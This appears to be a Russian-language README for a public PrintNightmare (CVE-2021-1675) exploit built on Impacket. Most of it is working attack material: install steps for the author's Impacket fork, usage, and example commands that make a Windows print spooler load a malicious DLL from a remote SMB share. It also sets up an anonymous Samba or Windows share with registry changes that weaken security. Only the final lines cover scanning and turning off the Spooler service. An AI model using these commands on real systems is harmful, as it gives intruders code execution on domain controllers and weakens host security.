
Эксплойт на основе Impacket для PrintNightmare (CVE-2021-1675/34527), позволяющий удаленное или локальное выполнение DLL против служб печати Windows.
Реализация Impacket для PoC PrintNightmare, изначально созданного Чжинян Пэн (@edwardzpeng) и Сюэфэн Ли (@lxf02942370)
Протестировано на полностью пропатченном контроллере домена 2019
Выполнение вредоносных DLL удалённо или локально

Перед запуском эксплуатации необходимо установить мою версию Impacket, после чего всё будет готово
pip3 uninstall impacket
git clone https://github.com/cube0x0/impacket
cd impacket
python3 ./setup.py install
usage: CVE-2021-1675.py [-h] [-hashes LMHASH:NTHASH] [-target-ip ip address] [-port [destination port]] target share
Реализация CVE-2021-1675.
positional arguments:
target [[domain/]username[:password]@]<targetName or address>
share Путь к DLL. Пример '\\10.10.10.10\share\evil.dll'
optional arguments:
-h, --help показать это сообщение и выйти
authentication:
-hashes LMHASH:NTHASH
NTLM хеши, формат LMHASH:NTHASH
connection:
-target-ip ip address
IP-адрес целевой машины. Если опущено, будет использовано то, что указано как target. Это полезно, когда target является NetBIOS-именем
и вы не можете его разрешить
-port [destination port]
Порт назначения для подключения к SMB-серверу
Пример;
./CVE-2021-1675.py hackit.local/domain_user:[email protected] '\\192.168.1.215\smb\addCube.dll'
./CVE-2021-1675.py hackit.local/domain_user:[email protected] 'C:\addCube.dll'
Проще всего размещать полезные нагрузки с помощью samba и изменить /etc/samba/smb.conf , чтобы разрешить анонимный доступ
[global]
map to guest = Bad User
server role = standalone server
usershare allow guests = yes
idmap config * : backend = tdb
smb ports = 445
[smb]
comment = Samba
path = /tmp/
guest ok = yes
read only = no
browsable = yes
force user = smbuser
Из Windows это также возможно
mkdir C:\share
icacls C:\share\ /T /grant Anonymous` logon:r
icacls C:\share\ /T /grant Everyone:r
New-SmbShare -Path C:\share -Name share -ReadAccess 'ANONYMOUS LOGON','Everyone'
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionPipes /t REG_MULTI_SZ /d srvsvc /f #Это перезапишет существующие NullSessionPipes
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d share /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_DWORD /d 0 /f
# Перезагрузка
Можно использовать rpcdump.py из Impacket для сканирования потенциально уязвимых хостов; если он возвращает значение, хост может быть уязвим
rpcdump.py @192.168.1.10 | grep MS-RPRN
Protocol: [MS-RPRN]: Print System Remote Protocol
Отключить службу Spooler
Stop-Service Spooler
REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\Spooler" /v "Start" /t REG_DWORD /d "4" /f
Или удалить службы печати
Uninstall-WindowsFeature Print-Services